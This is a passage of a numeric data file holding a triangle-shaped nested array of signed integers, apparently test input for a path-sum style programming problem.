75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76,65,20,20,13,-51,26,22,-47,-66,-74,88,58,-84,-52,67,-49,39,55,-33,-49,-42,40,-46,-4,42,-77,49,-85,66,44,90,32,-58,10,-78,-10,-87,20,42,-54,23,7,-95,38,54,48,65,-30],[3,-91,21,37,26,51,-67,-32,74,82,-18,17,3,-51,-74,44,36,-52,-88,25,44,30,48,-33,-62,29,81,68,-23,46,-61,80,32,36,17,-42,-13,27,2,-62,9,60,55,88,-91,80,10,21,-95,21,-53,26,-72,94,92],[-35,23,74,-89,99,-3,-74,56,-71,38,-49,-37,-75,77,64,-60,-37,24,71,-49,10,28,37,-69,33,-65,-46,-64,-37,-52,-95,4,70,78,14,47,-47,39,3,-42,-46,30,-2,-21,7,-38,-5,69,63,-34,97,-50,93,11,-20,3],[46,11,15,-91,58,20,-11,6,-25,-96,-47,27,19,32,62,73,-37,-40,-71,69,21,0,16,-39,65,-10,10,35,-99,67,-84,46,-22,30,31,-87,-50,-79,18,25,-99,47,-71,-4,-20,90,-31,42,-50,-26,-12,48,73,80,-91,15,-30],[-4,-72,-29,-60,-57,93,-6,72,25,6,99,22,-98,24,22,48,52,-82,-95,20,-36,46,69,14,-88,17,-35,91,3,56,-61,75,83,9,91,-97,-21,-15,52,80,67,51,-21,45,-48,-99,-29,80,95,-25,0,-64,98,-30,26,86,63,90],[77,-57,24,-84,-82,7,1,85,10,57,-30,-38,37,-85,89,-83,36,-59,93,-93,-79,65,-41,-2,77,-43,44,4,-57,7,-29,96,50,94,89,44,-21,-10,7,88,-76,53,-73,61,67,92,54,-19,-90,24,-13,-70,-10,22,4,-33,55,-52,47],[97,55,-81,71,-18,89,60,-97,-32,-73,9,-67,-49,-37,-64,88,-93,-72,42,-13,-63,-57,51,-56,32,-27,47,76,-71,72,0,-97,4,18,50,85,-15,10,64,52,14,-49,62,64,-10,97,29,-4,-97,-29,60,-61,-10,-12,-41,-77,60,83,75,65],[55,-25,45,-41,70,-5,-79,-45,82,61,83,-4,-88,45,-63,1,20,65,74,22,-87,34,37,2,98,96,1,58,56,-24,1,11,28,-77,46,-2,17,43,29,-24,4,12,71,16,-65,-92,93,54,72,67,-24,61,-22,-87,-36,-24,85,64,-88,41,-82],[-11,-71,45,11,51,-80,-95,-6,25,-19,75,-63,-71,-32,-52,-86,-39,-98,62,-94,-46,24,-40,-33,87,13,-71,28,1,70,22,89,75,-56,-23,27,-37,-42,97,87,15,72,-98,44,-60,-51,57,-22,-72,-4,-17,-19,-80,19,24,83,-68,53,-11,32,0,-89],[-2,-25,-45,74,78,-6,-90,53,-41,24,25,-40,-32,42,-15,-98,-80,12,-2,-21,70,17,97,-6,-22,-70,-53,66,38,46,53,-63,98,-92,87,53,-21,96,6,37,21,-68,73,65,50,-42,67,69,47,-58,-52,-6,35,-55,87,-87,-49,-88,55,89,57,9,-97],[32,-7,89,-14,71,86,91,-15,-16,99,-42,-51,49,-7,-84,-5,-83,-66,42,10,69,64,-26,81,-85,-15,14,-96,-80,-77,-94,51,-8,72,-86,-36,58,82,25,-58,81,83,-33,8,-47,-40,-97,-31,-7,22,55,-38,-14,-71,-79,0,14,34,-19,33,33,-37,-39,-75],[-65,-25,-12,92,-43,-86,-89,-85,73,-45,-1,-74,14,2,-29,-93,-99,-74,-54,-14,-46,-34,85,44,99,-57,-23,32,6,38,56,40,89,-78,10,-54,-88,-3,-63,61,51,36,86,-35,-85,-66,-28,-85,-41,17,0,-11,59,-38,-66,35,-18,-13,-33,87,-75,99,27,-86,97],[-86,-64,85,11,-27,46,-38,85,9,27,99,42,75,90,77,-31,-33,-33,-95,5,-23,39,86,63,82,73,65,58,-22,55,56,-9,91,18,78,-59,-35,-59,-97,73,44,-98,-7,-4,68,-30,41,-65,13,45,39,89,-16,26,53,-57,-24,18,-99,53,-50,33,-78,-82,-48,99],[-65,-7,-83,-63,-34,60,-85,58,-67,82,-94,73,-83,18,-5,33,8,55,-64,-62,97,11,32,75,-58,81,8,-60,99,36,-84,-66,-71,-67,-52,-5,69,-38,-70,-97,-55,-88,52,-62,30,-75,47,-85,79,82,-48,54,-29,83,29,-11,41,-63,28,17,73,43,51,-98,52,75,-27],[22,-63,-20,1,-42,-9,-70,-4,-79,-46,-80,-65,-66,-97,-37,87,-50,-77,16,38,64,29,-57,-19,-21,62,-91,-42,15,83,7,-86,97,86,14,-45,-22,43,27,-25,74,47,-13,-92,26,49,71,75,49,-36,-10,13,69,32,70,-51,-6,79,6,-91,39,-87,-78,36,76,12,68,-69],[-67,-5,-18,-93,-81,68,90,44,-5,61,-4,-56,-98,85,33,70,17,3,-81,-88,-41,1,96,75,-9,95,-12,-56,-16,-44,-26,16,51,55,-1,46,1,-11,-9,72,-73,86,-84,-95,49,25,75,-34,-95,70,-46,-36,-28,-49,-84,39,-54,3,82,29,59,-67,-77,-13,87,21,-90,-35,87],[0,-63,90,-36,-71,95,-87,53,47,-22,58,17,9,98,65,59,90,4,81,-7,-37,-13,-71,-5,-14,-8,-40,84,2,1,71,78,38,38,-58,43,10,-69,-26,-43,-14,-68,74,94,-93,39,30,96,-79,11,-34,-17,74,-28,55,-39,63,91,-55,-58,-8,92,-79,-93,30,-61,50,-82,-30,-76],[-26,32,-68,-75,26,-85,64,-44,87,61,43,-47,-79,-6,24,52,54,-35,43,98,-17,-87,90,3,-81,-2,19,45,15,65,45,65,-3,76,90,99,67,31,-68,54,-31,51,84,-11,-55,-15,-58,99,49,61,74,-90,73,42,12,69,-83,-92,-9,31,72,-63,-27,-54,-87,-37,-55,80,70,-47,11],[-61,-96,-5,5,-51,80,23,-75,6,-16,98,15,-65,40,-95,80,56,-88,-29,-36,61,7,37,-93,-3,76,-71,-46,24,-19,64,39,-38,-63,-56,10,-83,66,11,-1,-72,9,91,-61,-73,95,95,82,83,-34,-76,21,50,37,5,-53,-10,10,0,-86,90,-59,30,-71,-23,73,15,-7,17,-74,69,21],[35,60,59,61,32,54,20,-8,96,43,90,46,-20,-5,69,47,-95,-31,60,71,10,-10,-99,86,-59,15,-43,57,41,-97,-45,-47,39,90,-86,-29,44,33,39,17,-46,29,-36,33,-76,-90,-43,-95,-21,-82,76,65,-16,53,28,1,-55,61,-65,85,63,-11,-62,2,-21,-72,49,99,61,-11,17,91,94],[57,1,95,66,58,99,-78,75,52,86,-64,-18,-8,37,27,-47,71,12,93,-62,27,-5,16,54,-78,16,-8,-13,-90,-17,-19,43,84,-47,9,19,-70,8,-29,81,-6,6,-36,62,-80,90,-84,68,-21,-91,-94,82,-20,21,37,-22,-86,-94,64,-77,-34,-77,65,-73,-25,-48,45,-19,59,-84,-37,-70,-2,3],[92,18,-30,84,-14,25,92,-32,8,-51,88,-78,27,-97,-73,-9,-98,-8,-10,44,-5,42,95,-60,-77,31,-45,-38,60,30,41,29,-52,-89,13,10,13,5,54,-79,54,42,-58,-42,21,-55,25,0,14,-84,-56,-91,34,-61,-51,33,69,-20,95,6,-90,36,-64,-66,24,48,20,-63,-69,-26,-43,61,93,-25,-81],[-9,19,43,90,-90,35,-66,-81,-31,-51,-33,-97,94,23,74,-22,10,-13,13,20,-89,-62,-59,-76,-32,-9,-43,-94,-39,31,-76,52,-72,44,42,-63,-21,53,-45,25,-98,-2,4,73,98,-22,-49,8,64,40,-72,52,77,-55,75,-77,36,-67,-72,96,63,-71,48,67,72,-32,-95,-72,-79,-64,52,98,11,-44,71,9],[10,98,-83,-25,38,-79,-73,-7,-34,78,15,78,-89,19,74,51,47,0,18,19,44,-1,24,41,35,-24,39,-77,9,-12,31,-81,-37,47,-30,-98,67,-27,-29,-90,-48,85,87,-38,4,62,-87,-71,-61,8,47,59,-93,-29,0,18,24,-84,40,-67,3,-29,-72,43,94,-25,21,39,47,91,48,75,76,13,-85,-43,-48],[-96,-15,-10,11,-90,-74,-5,-43,25,-87,80,40,30,89,-79,77,94,63,49,-31,-16,-35,92,-25,-87,45,-72,2,59,-16,53,39,69,-80,-72,55,-55,22,-88,69,11,92,-13,-82,58,7,95,52,-53,21,97,30,85,90,81,74,35,-91,-23,-29,-31,-70,86,-85,-50,-86,69,-6,12,81,-59,-99,73,27,-82,8,-89,89],[-39,-43,10,-42,63,-5,-75,21,-30,36,6,46,83,74,75,70,89,-98,83,58,-27,-4,39,13,-4,-11,-83,-10,97,-73,-20,-65,-40,89,-31,99,-15,-6,20,54,-70,-74,-23,-86,99,-48,60,65,-69,43,24,3,-84,-60,-84,-12,6,-91,78,3,-65,-42,14,-29,-76,82,-30,8,-47,89,-61,-40,91,15,-50,90,44,-90,33],[51,52,-43,-46,45,-27,-54,-67,78,-46,87,-42,-35,-55,71,35,-54,54,81,53,-93,47,69,-34,38,-39,15,5,81,1,-62,32,-46,-29,85,75,44,-69,-92,22,-39,95,80,25,-83,51,-63,-38,-18,94,92,-34,41,38,8,-21,98,-99,61,80,1,98,12,31,-53,-25,6,90,5,14,-11,43,-14,-31,-32,-21,97,-18,41,-44],[-24,10,21,-82,-52,-93,-27,-54,-93,-89,-97,7,86,-8,-61,-67,66,44,-77,-52,-65,-12,90,-3,57,-64,76,31,17,-6,86,69,-96,-15,63,-49,-9,-86,-27,-26,-76,-47,80,-90,44,95,-81,10,17,-82,34,51,6,25,-51,-60,60,-98,70,-46,-5,33,99,-2,94,63,25,-38,76,74,35,76,-96,-7,63,47,-12,81,-66,-95,99],[68,33,5,-30,58,44,-93,59,-9,-63,-69,-99,-64,28,95,75,-70,-66,28,80,46,5,84,-61,-32,31,3,-51,42,8,-52,-13,-82,29,56,75,-50,62,11,40,98,41,18,-89,-54,-10,86,-48,23,14,-68,-31,95,-84,-16,-37,24,87,-11,-34,-28,13,52,-11,-57,8,-59,-8,-53,28,-90,-78,-31,27,-68,-9,93,94,42,16,-14,73],[62,-19,89,-54,44,-10,-67,-67,55,4,45,-16,69,64,68,-90,-66,-85,14,-80,-87,59,23,-79,-50,16,-84,91,-91,1,42,70,58,8,-83,2,97,-74,11,29,30,-66,-87,-24,97,80,-37,-92,71,76,-73,83,36,49,80,85,-58,95,54,-49,-27,-4,-79,-68,80,-86,10,77,-60,98,-17,46,-68,-5,-78,-94,-48,-16,-86,-77,-62,-83,82],[73,43,62,35,84,58,-34,-65,-92,38,-67,-84,18,-54,3,-28,-15,1,54,-69,32,-51,-70,14,0,-10,4,-1,27,21,-19,-23,-59,-56,-87,-75,78,-45,-63,62,93,-31,78,11,14,-42,83,76,58,14,-93,-33,63,-87,80,-60,3,-15,39,-93,82,96,-16,99,-60,-27,-76,94,27,-63,57,20,5,12,-91,96,69,91,72,4,-18,55,70,-78],[68,50,-38,-52,-88,77,-46,70,73,37,69,90,-90,70,61,37,-93,18,-43,-11,-93,-35,-15,52,-67,-66,-44,-8,88,-74,13,56,53,74,80,64,28,-65,35,-21,71,-19,-54,58,-49,-93,-5,-65,2,28,23,8,70,84,-62,79,-82,-7,-29,82,19,84,16,-28,35,-4,-87,-59,30,24,19,-21,-94,41,-63,-67,47,8,-56,-74,-64,43,34,82,27],[48,62,21,-59,-90,-19,59,70,96,-92,-17,-8,97,0,99,21,95,-22,3,36,14,36,-40,98,79,-14,-66,23,96,93,-73,44,32,25,84,41,-94,21,-11,-98,5,48,-30,2,-52,-31,-76,-57,23,26,78,-86,-61,-62,-88,95,23,-77,-5,-4,-84,21,-60,47,-54,-75,-35,-72,22,53,-94,-73,1,-24,29,25,21,52,67,-78,-45,22,-65,-29,60,-76],[-34,-40,-54,60,33,-39,-19,72,-92,4,73,-51,8,-5,-97,14,22,-20,89,-49,-94,-13,79,49,8,-66,-28,20,4,-91,43,69,-55,88,6,77,-74,87,27,-90,-32,0,-42,75,95,-63,-11,17,-6,-45,67,-24,19,46,-75,-96,56,-27,23,-39,-19,-57,-93,3,-92,13,-43,-67,-23,83,-81,21,-16,-23,-27,-21,-10,39,72,83,70,39,-41,-11,-38,-39,-30],[94,33,92,-68,91,-87,-61,-6,-80,28,27,-70,81,11,-52,-21,94,24,51,-50,91,-10,-78,74,-62,37,-89,26,75,-29,95,69,80,65,-98,71,77,-83,-58,73,44,69,-97,2,-20,-49,80,-49,51,8,0,42,75,-2,17,-87,-65,4,15,-90,74,11,78,54,-47,56,3,-93,72,21,79,-7,-10,82,94,46,-90,51,73,60,-63,-50,3,-88,47,96,-76,58],[0,38,67,-49,-74,23,81,-22,-21,-16,-39,-71,82,-59,21,-51,99,-7,72,-91,-79,45,45,-43,95,-52,-32,19,-79,-32,-22,-3,-93,-78,47,-91,44,29,-36,-99,89,24,-94,71,41,26,-79,40,95,92,25,93,14,-29,-50,-14,-5,-5,-94,16,62,-40,89,45,-19,14,54,-97,-80,-82,79,-91,18,84,57,-40,10,54,76,-17,23,2,-24,-86,49,2,0,-56,96],[-18,36,36,41,26,-19,98,-60,-88,-99,-41,-94,79,-56,24,63,77,60,-49,8,36,10,-69,-85,62,-55,63,-36,21,-92,-62,-97,20,73,20,-54,-46,-5,-38,-57,-27,-3,-52,-71,18,48,69,-5,8,-80,-96,-78,6,-89,-64,-32,-45,76,31,52,60,68,31,-20,41,-49,3,72,23,64,91,95,-61,-61,-76,56,87,92,-49,-28,88,-69,-7,-6,-58,6,61,-4,-41,-30],[-74,-81,-85,56,-2,33,84,-99,5,7,42,-27,-21,80,11,2,13,-25,-28,63,24,-40,94,93,31,-64,-1,-31,8,57,38,33,52,30,-10,-49,-37,-26,-72,44,57,46,-83,-64,3,27,14,-84,79,85,79,3,-77,50,-4,53,62,72,-78,-30,6,37,80,-41,-33,-53,-14,29,-3,-10,-50,-46,-63,-34,-34,39,69,79,55,48,65,11,-72,87,-39,24,17,99,-27,15,-54],[55,-48,-74,-86,-5,-51,-24,-99,45,66,-50,75,79,15,-59,18,-38,-79,-50,-90,62,60,-62,49,97,38,-34,96,87,57,-80,42,-90,-55,33,-19,-29,85,-41,-84,51,8,91,7,-99,-91,-74,-38,-71,-25,-52,90,-87,-38,16,86,76,58,60,63,16,79,-17,2,-99,92,59,-29,77,-82,-36,6,3,-45,-87,3,-60,-85,41,-54,-10,65,-87,-21,-72,29,-35,-96,-36,-75,44,56],[-96,-96,-65,81,95,94,-48,49,-88,15,-45,14,46,-32,93,86,-41,11,-68,25,-23,-56,-96,4,49,-54,-16,90,-30,-95,46,-49,-92,81,-68,79,75,-40,29,63,75,83,-45,-2,-72,-52,-16,-13,59,-8,-88,-87,13,92,-7,-38,-62,76,-48,-16,58,75,34,42,33,42,22,8,-97,-72,-52,54,87,2,-48,92,50,36,-44,-14,-95,-56,-2,17,-64,90,79,-50,43,-92,34,-22,59],[-55,-79,-8,87,19,76,66,23,-75,20,10,26,71,-21,-47,7,34,15,-11,78,-87,-94,90,79,61,-59,0,46,51,77,5,95,74,97,59,-7,73,25,-84,74,-55,3,-22,-83,81,7,0,-7,-77,88,-29,-88,94,-62,68,32,-22,-32,-22,-94,-78,83,-98,96,57,60,-34,7,-14,-41,-18,30,61,36,23,19,-57,-76,-88,-35,88,-41,-23,82,-3,-55,15,51,-11,69,57,10,52,58],[6,9,-5,72,-83,57,-69,-25,-35,68,-89,87,-13,-47,87,-24,-5,76,34,48,35,-69,92,-73,82,-42,96,39,67,25,-26,-49,-65,45,99,-72,3,-70,-21,44,74,-34,31,-62,18,-4,13,89,-28,-52,37,-93,-22,6,-89,-40,63,-93,75,8,31,-74,58,42,48,57,46,-49,63,-98,71,37,-33,2,74,62,97,-12,51,-54,35,-11,-70,89,94,-60,-73,58,-77,-98,-57,53,-95,-99,-27],[52,57,95,79,-3,97,50,-66,-36,-71,84,-74,-96,-28,77,-51,83,-57,-22,73,-63,-6,99,71,16,77,-86,-53,81,90,-4,10,24,-9,-11,-79,-35,-84,-69,29,-55,-84,31,-52,-36,-15,-27,-52,27,28,97,41,-78,96,12,15,50,3,61,9,-7,-66,-81,-82,24,-15,-62,66,0,-31,-5,21,-16,-97,68,24,-35,-58,71,91,69,68,32,67,41,-78,-18,-8,24,-80,77,-83,-47,95,-66,54],[-43,-28,20,57,17,91,-22,77,70,-76,1,-65,-58,-27,-96,87,-82,35,54,36,56,-86,-95,-20,-90,81,-26,-60,53,7,93,-89,55,-10,67,-51,-42,-78,-74,-72,-78,27,-60,-37,76,-57,-50,70,54,81,6,11,71,-13,67,80,-32,-59,-80,-78,25,89,-68,-20,-44,75,29,-10,73,31,-5,95,-65,34,-42,-89,76,-15,58,30,-57,-59,-82,-86,28,62,70,72,79,67,70,4,33,-98,61,66,53],[-33,-44,27,74,50,-1,-90,-16,56,96,-63,-82,54,44,-40,95,38,-50,0,0,97,-28,-43,64,-57,60,-26,-79,-2,-60,51,41,-4,-22,16,-54,53,25,7,9,21,20,4,-47,-59,40,-75,79,67,24,-44,64,72,12,5,91,-50,78,89,47,-81,40,-11,-9,94,81,13,47,6,-80,-67,-96,17,36,-44,57,-46,-20,13,-79,80,69,84,53,-19,-34,21,7,-56,10,-45,-61,-50,20,29,-79,-22,-80],[67,83,-61,-99,63,32,13,-80,-10,43,-24,-97,63,-43,48,24,86,-70,89,7,36,-89,-82,67,-74,-56,-36,32,-58,41,51,-91,1,66,85,-35,-1,-24,-39,65,-81,36,67,59,92,16,-40,78,22,-73,-14,-65,-63,-20,79,-38,0,-80,70,18,61,21,27,-61,-12,-11,3,86,41,63,51,37,-23,-5,-27,-31,87,32,-52,-14,58,10,-2,71,66,-23,-66,-57,-4,-96,61,-66,2,-35,-50,89,30,29,52],[-51,-30,-20,85,46,74,-65,-85,39,66,-61,-75,25,25,22,-4,-32,75,6,11,-51,-13,-51,-41,88,-10,8,54,-80,-62,6,-55,7,85,-93,-70,36,-59,-56,-25,-92,-40,-23,9,84,75,81,-70,51,-12,17,99,51,65,-42,16,-68,43,-53,-72,80,52,-27,-36,14,-21,-7,-73,20,13,-21,4,72,55,-87,34,7,93,40,-42,-42,-43,-66,85,98,-31,1,-70,-88,47,-43,68,-24,6,-68,66,85,1,70,-18],[90,-51,85,63,80,74,-26,-13,44,-86,22,-97,-53,55,64,-55,-76,-57,-26,-65,66,7,79,-80,-86,-89,85,75,-12,55,-66,-21,80,95,-81,37,69,-31,-75,13,-18,23,-8,5,-22,-66,49,-21,-24,99,-10,-58,6,-30,-39,-4,-20,-76,-52,45,55,-19,-99,36,-24,-81,-50,-55,-13,-26,35,45,73,-96,-50,-48,-63,75,30,-11,74,-80,31,-43,-11,68,30,46,91,77,-32,47,-41,-32,-40,11,-14,9,33,49,60],[-32,-29,33,-52,20,61,-38,-28,-32,50,-54,-12,-42,-21,53,-73,-91,-24,-82,63,20,41,-78,87,77,9,-50,-13,-58,98,-76,-14,-31,56,34,65,-5,95,-63,62,22,-41,-73,80,38,57,-93,23,-67,-99,-14,53,42,-16,17,-4,93,67,82,-65,42,82,21,-88,16,-68,53,-89,-96,67,72,25,-74,99,-18,40,33,-12,-36,65,-34,49,-5,84,-89,-87,-20,-96,56,-60,-85,-2,-78,35,-14,37,43,-83,47,46,83,-3],[-51,85,-27,30,26,-94,95,89,47,-39,15,-80,-78,2,-91,1,5,64,40,-3,-61,62,-91,2,-24,52,18,-76,-25,1,-3,23,-14,69,-69,88,51,-74,54,-2,-37,-53,-6,-16,48,2,84,-69,-34,2,27,-18,-59,35,83,16,-36,1,16,39,78,-87,-38,-59,58,-31,-70,-14,-6,83,84,33,-70,-45,93,55,57,55,85,-77,-43,12,4,-3,-76,-36,-87,-12,64,29,-73,42,18,-35,60,-23,34,89,39,-95,49,0,15],[56,55,8,11,12,-37,-4,11,-4,84,92,92,-92,-44,82,-28,-79,-12,-2,39,82,40,-1,-64,-49,-35,75,-68,-85,-25,46,70,-70,-68,-19,41,-6,53,-47,90,37,-55,59,21,0,18,93,-3,82,-32,-63,65,84,12,-99,-65,77,52,-33,68,-72,89,15,-43,-79,72,75,-8,25,-72,-41,-61,-51,94,36,48,13,29,-77,-28,74,-41,-63,35,47,-85,70,1,66,-86,-31,70,79,83,-72,-99,55,-97,-8,-43,-93,50,-5,-45],[21,-91,79,-66,37,78,-17,-12,-86,-4,-76,61,10,70,-38,-46,60,8,-99,39,-32,-72,39,-76,-93,-92,-43,89,34,29,-79,-44,37,77,-34,-49,55,48,39,69,-55,39,7,31,9,45,61,-31,-47,62,84,21,66,24,21,73,8,77,39,-80,-17,60,-25,-80,14,17,-29,-54,-34,86,-85,10,25,-2,-82,-89,-56,79,-44,-27,41,-60,70,7,40,-9,-43,-51,-54,73,-32,28,10,19,25,-76,-64,95,-31,-22,81,-39,87,-17,58],[82,-7,78,61,48,-71,-21,64,98,62,5,-33,96,53,-11,69,97,93,-21,-7,18,2,28,-10,47,-93,-52,-92,70,30,43,52,99,-2,-10,24,26,45,-11,25,8,93,68,4,23,-43,-27,-3,-50,28,89,68,-93,-6,-42,53,0,-17,38,-52,-87,-19,76,89,55,-56,13,-18,88,-98,83,-4,71,51,76,-29,-92,-74,67,-66,53,33,-98,59,-72,-63,-10,4,19,-72,51,8,8,5,-3,-60,48,87,21,13,88,4,86,37,-68,62],[-92,-61,65,75,-27,18,-15,-49,-45,12,-36,44,-83,59,71,44,-55,-44,-51,41,-5,73,28,-83,-13,-6,-3,-27,-69,29,-88,-85,44,76,66,93,-28,-48,-55,26,63,-15,-30,56,-55,-59,1,-11,-27,49,-93,44,0,12,60,86,-94,-65,-64,-87,40,-53,-73,-16,-99,93,-22,-28,-78,-1,97,84,60,-56,41,-95,-39,-81,-30,33,44,-46,-23,-56,65,-85,-93,70,-74,-58,59,65,-34,85,-74,-57,55,-20,14,53,55,-12,38,16,31,-44,-3],[91,-26,67,1,-82,97,77,-61,62,68,-55,9,93,-36,-32,35,6,-70,61,48,62,-59,-61,15,96,26,-70,-11,-66,-15,85,-98,35,29,2,30,26,-44,45,-12,-98,89,96,71,-70,-36,7,12,-29,-55,-63,-67,-38,-25,47,-65,77,77,23,87,-61,9,88,51,-62,-33,-19,64,23,-97,-71,24,68,-74,-5,98,-34,78,10,36,-77,47,45,-15,98,-7,19,53,-30,-80,40,-15,28,29,-64,42,95,-7,-17,-5,-5,-11,95,-36,-9,-32,-61,56],[-54,25,-30,-54,-51,-85,7,-75,-16,-74,77,30,-78,17,-84,26,-77,-49,-31,95,21,28,-33,-84,-83,-37,-44,7,7,-29,-59,52,96,-13,74,-78,-22,-19,-54,62,-16,-77,-31,5,17,-16,-68,16,12,-23,-12,-67,81,55,-75,98,94,-42,-18,1,28,22,-70,24,85,81,46,-36,-38,68,-97,45,91,-29,-72,-15,32,-41,77,-56,12,-34,-24,-7,97,-23,-32,91,34,50,-31,-37,-51,-25,63,-65,-44,-14,-25,18,-45,-23,-60,-77,24,-33,-16,-44,2],[-39,-1,-86,26,51,-16,23,-71,51,-9,39,1,59,-98,50,-65,42,84,-33,-72,-64,84,-41,12,-98,-19,-87,-32,41,-31,70,-97,67,60,28,-4,-56,-71,1,95,19,-60,-27,-44,-81,-77,-33,60,83,33,64,-81,-5,-76,7,-4,-19,20,40,-77,88,10,-75,32,-52,29,-95,-32,34,5,-37,-46,22,36,-14,40,35,52,-23,-4,-15,-59,14,56,-59,98,-48,22,18,92,21,-17,-21,45,91,3,-49,73,71,85,-22,-66,-84,76,46,1,16,-41,-70,69],[54,-9,-89,-55,-52,-49,-57,-24,49,37,-55,-30,96,24,91,65,-73,-57,38,74,-95,92,85,96,69,31,-26,-15,66,3,-45,20,93,-58,65,-59,-31,-92,-6,-81,22,38,-35,18,-38,-43,-17,-34,-24,-79,-83,-20,90,-98,-47,59,10,26,-79,-24,-71,-48,96,-78,-7,38,-60,62,22,33,57,-56,-52,-78,62,10,-45,-78,52,30,-80,68,86,-90,47,-61,68,-43,64,88,32,69,-59,5,68,10,-57,84,-51,65,-6,82,-91,41,81,47,-72,-64,46,79,43],[65,25,29,51,-28,45,19,5,-14,-16,-63,-44,1,19,-99,88,61,84,-63,